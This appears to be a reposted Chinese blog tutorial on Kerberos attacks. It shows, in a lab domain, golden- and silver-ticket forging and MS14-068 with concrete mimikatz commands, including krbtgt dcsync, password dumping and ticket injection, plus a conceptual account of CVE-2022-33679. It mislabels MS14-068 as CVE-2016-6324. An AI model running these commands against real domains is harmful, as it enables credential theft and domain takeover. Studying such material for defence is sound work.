域0day-(CVE-2022-33679)容易利用吗

news2024/11/27 14:50:45

前言

最近twitter上关于CVE应该CVE-2022-33679比较火了,但是资料也是比较少,下面来唠唠吧。

kerberos认证原理

先了解几个概念

认证服务(Authentication server):简称AS,认证客户端身份提供认证服务。

域控服务器(Domain Control):即DC。

服务票据(Server Ticket):简称ST,在Kerberos认证中,客户端请求的服务通过ST票据认证。

票据授予服务(Ticket Granting server):简称TGS,颁发服务票据(server ticket)。

活动目录(Active Directory):简称AD,包含了域中所有的对象(用户,计算机,组等)

KDC密钥颁发中心(KDC):域控担任

特权属性证书(Privilege Attribute Certificate):简称PAC,所包含的是各种授权信息, 例如用户所属的用户组, 用户所具有的权限等。

下图为Kerberos的认证过程:

image-20221209141408456

一个完整的认证流程基本上分为8个步骤

1.客户端用户向KDC发送请求,包含用户名,主机名和时间戳。AS接收请求

2.AS对客户端用户身份认证后给客户端返回票据授予票据

3.客户端使用TGT到票据分发服务(TGS)请求访问服务器A的服务票据(ST)

4.TGS给客户端分发ST

5.客户端使用ST请求服务器A

6.服务器A解密ST票据得到特权属性证书PAC,服务器A请求域控AD需确认用户权限

7.域控将PAC解密获取用户SID和用户权限的结果返回给服务器A

8.用户身份符合则进行第最后的返回信息,整个Kerberos认证结束。

黄金票据

原理:

Kerberos黄金票据是有效的TGT Kerberos票据,是由域Kerberos帐户加密和签名的 。TGT仅用于向域控制器上的KDC服务证明用户已被其他域控制器认证。TGT被KRBTGT密码散列加密并且可以被域中的任何KDC服务解密的。

相当于跳过上面图片中过的步骤一和步骤二,直接伪造TGT

image-20221209163535159

实验

这里利用星海安全实验室的靶场环境

环境:192.168.10.10 域控DC 域:Starseaseclab.com 操作系统:win-server2012R2

域内主机:192.168.10.14 操作系统:win7

使用条件

  • 域管SID
  • 域名
  • 域控KRBTGT账号的HASHntlm(hash)

【----帮助网安学习,以下所有学习资料免费领!加weix:yj009991,备注“ csdn ”获取!】
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

whoami /all

image-20221209151041923

lsadump::dcsync /domain:starseaseclab.com /user:krbtgt

image-20221209154241481

sid:S-1-5-21-1719736279-3906200060-616816393

htlm(hash):5e31f755b33b621bede0946b044908e4

domian:starseaseclab.com

域内主机win-7

image-20221209155354113

privilege::debug

kerberos::purge  //清空票据防止缓存影响

Kerberos::golden /user:administrator /domain:starseaseclab.com /sid:S-1-5-21-1719736279-3906200060-616816393 /krbtgt:5e31f755b33b621bede0946b044908e4  /ptt    //伪造金票注入内存

image-20221209155550755

白银票据

原理

黄金票据是伪造TGT,在kerberos认证中忽略前两步,白银票据就是直接伪造ST

image-20221209163414271

whoami /all

image-20221209173913523

sid: S-1-5-21-1719736279-3906200060-616816393

sekurlsa::logonpasswords

image-20221209174621489

伪造票据

Kerberos::golden /domain:starseaseclab.com /sid:S-1-5-21-1719736279-3906200060-616816393 /target:win-dc.starseaseclab.com /service:cifs /rc4:161cff084477fe596a5db81874498a24 /user:user1 /ptt //伪造银票注入内存

image-20221209175427057

利用MS14-068(CVE-2016-6324)

域内用户提升至域控

条件 :

  • 域内用户名以及hash
  • sid值
  • 域名
  • 域控ip
 ms-14-068.exe -u   域用户@域名  -p 域用户密码 -s 域用户sid -d 域控ip
 kerberos::ptc "票据"   //将票据注入内存
黄金票据和白银票据的区别
访问权限不同:

Golden Ticket:伪造TGT,可以获取任何Kerberos服务权限
Silver Ticket:伪造TGS,只能访问指定的服务

加密方式不同:

Golden Ticket由Kerberos的Hash加密
Silver Ticket由服务账号(通常为计算机账户)Hash加密

认证流程不同:
Golden Ticket的利用过程需要访问域控,
Silver Ticket不需要

CVE-2022-33679

攻击的过程分为下面几个步骤

  1. 攻击者发送一个没有预授权的 AS-REQ 请求 RC4-MD4 密钥加密。如果用户不需要预授权,KDC 将发回一个 AS-REP,其中包含使用 RC4-MD4 加密的会话密钥等。
  2. 根据加密数据的长度,计算出加密密钥开始前的0x15字节,只要总长度就可以猜到。可能需要发送适当长的主机地址来填充 ASN1 编码数据,以便将密钥对齐到合适的位置。
  3. 根据计算出的ASN1数据和加密后的KDC-REP生成密钥流的前0x2D字节(密文中前0x18字节全为0)。
  4. 使用密钥流加密 PA-ENC-TIMESTAMP 预认证缓冲区,如果仅使用 KerberosTime,则大小将恰好为 0x15 字节,即带有初始填充的 0x2D。
  5. 在新的 AS-REQ 中发送加密的时间戳以验证密钥流是否正确。

如果将客户端和 KDC 降级为使用 RC4-MD4,攻击者可以让 KDC 使用 RC4-MD4 会话密钥作为初始 TGT,它只有 40 位的熵,并且在关联的票证过期之前实现暴力破解,可为该用户发出任意服务票证的 TGS 请求。

攻击图解

在请求TGT的第一阶段爆破第一个字节的图解

image-20221214104553601

获取最后一个字节的过程图解

image-20221214122942619

CVE提交者的POC显示已删除,github上披露的EXP已经没了。

image-20221214160214143

项目下载地址:

https://github.com/GhostPack/Rubeus

需要重新编译一下,Rubeus的V2.1.2实际上也没找到历史发布版本,目前最新版本未V2.2.1

image-20221214161041126

该版本无法使用cve-2022-33679伪造TGT。该漏洞就利用方式来说跟黄金票据有点儿类似,通过EXP绕过Kerberos认证协议中的第一和第二步骤,直接向TGS请求ST。

image-20221214161639111

总结

资料还是有限,没有复现成功,但是就原理来说,结合Kerberos认证原理还是比较清晰。CVE-2022-33679的使用也是有使用条件,需要设置“不需要 Kerberos 预身份验证”用户帐户控制标志,并配置了 RC4 密钥。所以在利用手段上来讲应该是比较苛刻。(如有错误还请各位指出

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/92085.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

ubuntu 安装 MySql 【亲测有效】

目录 一:ubuntu安装mysql 二:mysql 中文乱码 解决 三:Mysql数据库 远程连接授权 四:卸载Mysql并重新安装 五:Mysql 远程连接测试 一:ubuntu安装mysql 首先来到opt(安装)目录下,开启终端&am…

压缩包密码如何解除?

压缩包设置了加密,需要输入压缩包密码才能够顺利解压文件出来。但是有些时候,一些文件只需要一段时间内要加密,之后文件不需要加密了,每次解压文件的时候还是需要输入压缩包密码才行,就很麻烦,那么RAR压缩包…

分布式状态机共识协议 Copilot

目录 前言 定义 slowdown 为什么现有的共识协议无法容忍 slowdown Copilot 如何处理 slowdown 设计 模型 排序 Client 同时发送指令至 pilot 与 copilot Pilot 提议指令与其初始依赖 节点回复 FastAccept Pilot 尝试通过 fast path 来 commit 该指令 Pilot 在 Acc…

C++11标准模板(STL)- 算法(std::min)

定义于头文件 <algorithm> 算法库提供大量用途的函数&#xff08;例如查找、排序、计数、操作&#xff09;&#xff0c;它们在元素范围上操作。注意范围定义为 [first, last) &#xff0c;其中 last 指代要查询或修改的最后元素的后一个元素。 返回各给定值中的较小者 …

基于Java实现(PC)职员工作量管理系统【100010042】

工作量统计系统 一、概述 ​ 在本次专业课实践中我选取到的题目为员工工作量统计系统。该系统分为三个模块&#xff0c;一是实现员工的登录&#xff0c;二是进入到员工的个人界面&#xff0c;并显示&#xff0c;输出员工的个人信息&#xff0c;同时还可以进行输入。第三个模块…

div对角线来回浮动显示

animation-timing-function linear 动画从头到尾的速度是相同的。 ease 默认。动画以低速开始&#xff0c;然后加快&#xff0c;在结束前变慢 ease-in 动画以低速开始 ease-out 动画以低速结束 ease-in-out 动画以低速开始和结束 steps(int,start|end) 指定了时间函数中的间隔…

公司对外投资和担保

一、公司对外投资和担保规范 公司对外投资和外他人提供担保&#xff0c;需承担相应的责任 公司可以对外投资和提供担保 二、公司提供担保的方式 保证 抵押 质押 三、公司提供担保的规定 公司对外承担的规定 公司向其他企业投资或者为他人提供担保&#xff0c;依照公司章程的规…

seata-server-1.4.2的环境搭建

修改seata-server-1.4.2/conf目录下的file.conf和registry.conf file.conf 将store下mode修改为db&#xff0c;找到db模块修改 driverClassName、url、user、password mysql 5.使用 driverClassName "com.mysql.jdbc.Driver" mysql 8 使用 driverClassName "…

Docker入门之docker-compose

一&#xff0c;Docker-compose简介 1&#xff0c;Docker-compose简介 Docker-Compose项目是Docker官方的开源项目&#xff0c;负责实现对Docker容器集群的快速编排。 Docker-Compose将所管理的容器分为三层&#xff0c;分别是工程&#xff08;project&#xff09;&#xff0c…

【MATLAB教程案例62】使用matlab实现基于PointNet++网络的点云数据分类仿真分析

欢迎订阅《FPGA学习入门100例教程》、《MATLAB学习入门100例教程》 目录 1.软件版本 2.PointNet++网络理论概述

通过java代码实现ES中的常用搜索

目录 测试环境准备 在指定索引下搜索全部&#xff08;可以指定字段&#xff09; 通过ids进行搜索 对搜索结果进行分页 match分词搜索 不分词模糊搜索&#xff1a;wildcardQuery与matchPhraseQuery term 搜索&#xff08;精确匹配&#xff09; multi_match搜索 bool搜索…

23年如何准备考PMP?这4点建议你得看

23年的PMP考试还有3个多月&#xff0c;现在开始备考&#xff0c;再合适不过&#xff0c;我这里提出四点备考建议&#xff0c;希望能帮到备考的大家&#xff1a; 【《PMBOK指南》】 PMP的教材仍是第六版&#xff0c;如果有第七版就看第七版&#xff0c;纸质或者电子版都可以&am…

【基础强训】day1

一、选择题&#xff1a; 1. 以下for循环的执行次数是&#xff08;&#xff09; for(int x 0, y 0; (y 123) && (x < 4); x); A 是无限循环 B 循环次数不定 C 4次 D 3次 C y123为真&#xff0c;所以就循环四次。 2. 以下程序的运行结果是&#xff08;&#xff…

jsp+ssm计算机毕业设计ssm酒店综合管理平台【附源码】

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; JSPSSM mybatis Maven等等组成&#xff0c;B/S模式 Mave…

2D激光雷达:使用MindStudio进行MindX SDK任务开发

任务介绍 该项目基于DROW3和DR-SPAAM模型&#xff0c;实现了实时的2D激光雷达行人检测。 主要处理流程为&#xff1a;输入预处理后的激光雷达点云序列&#xff08;帧&#xff09;->行人检测模型推理->行人检测模型后处理->检测结果输出及可视化。 由于二维距离数据信…

Unity Gradient Lerp 颜色渐变

最近改插件&#xff0c;本来如果有Gradient的lerp方法&#xff0c;改起来会非常方便。因为插件的更改入口是这个Gradient。运行时候手动调节inspector面板可以直接更改效果。那么此时只要在代码中更改Gradient即可。 但是找了几遍Color&#xff0c;ColorUtility&#xff0c;Gr…

怎么去图片水印?三招让你快速学会图片去水印

上大学的时候&#xff0c;老师让我们每人写一个关于“阅读”的主题报告。写这个主题报告的时候&#xff0c;我发现在网上找的图片素材大多带有水印&#xff0c;十分影响报告的展示效果。于是&#xff0c;我就上网找了一些怎么去图片水印的方法&#xff0c;对这些方法进行试验后…

Redis持久化(RDBAOF)

持久化简介&#xff1a; 不知道大家有没有遇见过&#xff0c;就是正工作的时候停电了&#xff0c;如果你用的是笔记本电脑还好&#xff0c;你有电池&#xff0c;但如果你用的是台式机呢&#xff0c;那恐怕就比较灾难了&#xff0c;假如你现在正在写一个比较重要的文档&#xf…

Java集合——Map

Map集合 Map用于保存具有映射关系的数据&#xff0c;以键值对的形式存储&#xff0c;支持通过key来访问value&#xff0c;因此key不能重复。 Map接口下主要有Hashtable、HashMap、LinkedHashMap、ConcurrentHashMap 四个主要的实现类&#xff0c;实现的基本原理类似&#xff0…

【图像处理】Hough变换检测直线与圆的原理

霍夫变换的基本原理 霍夫变换(Hough Transform)可以理解为图像处理中的一种特征提取技术&#xff0c;通过投票算法检测具有特定形状的物体。霍夫变换运用两个坐标空间之间的变换将在一个空间中具有相同形状的曲线或直线映射到另一个坐标空间中的一个点形成峰值&#xff0c;从而…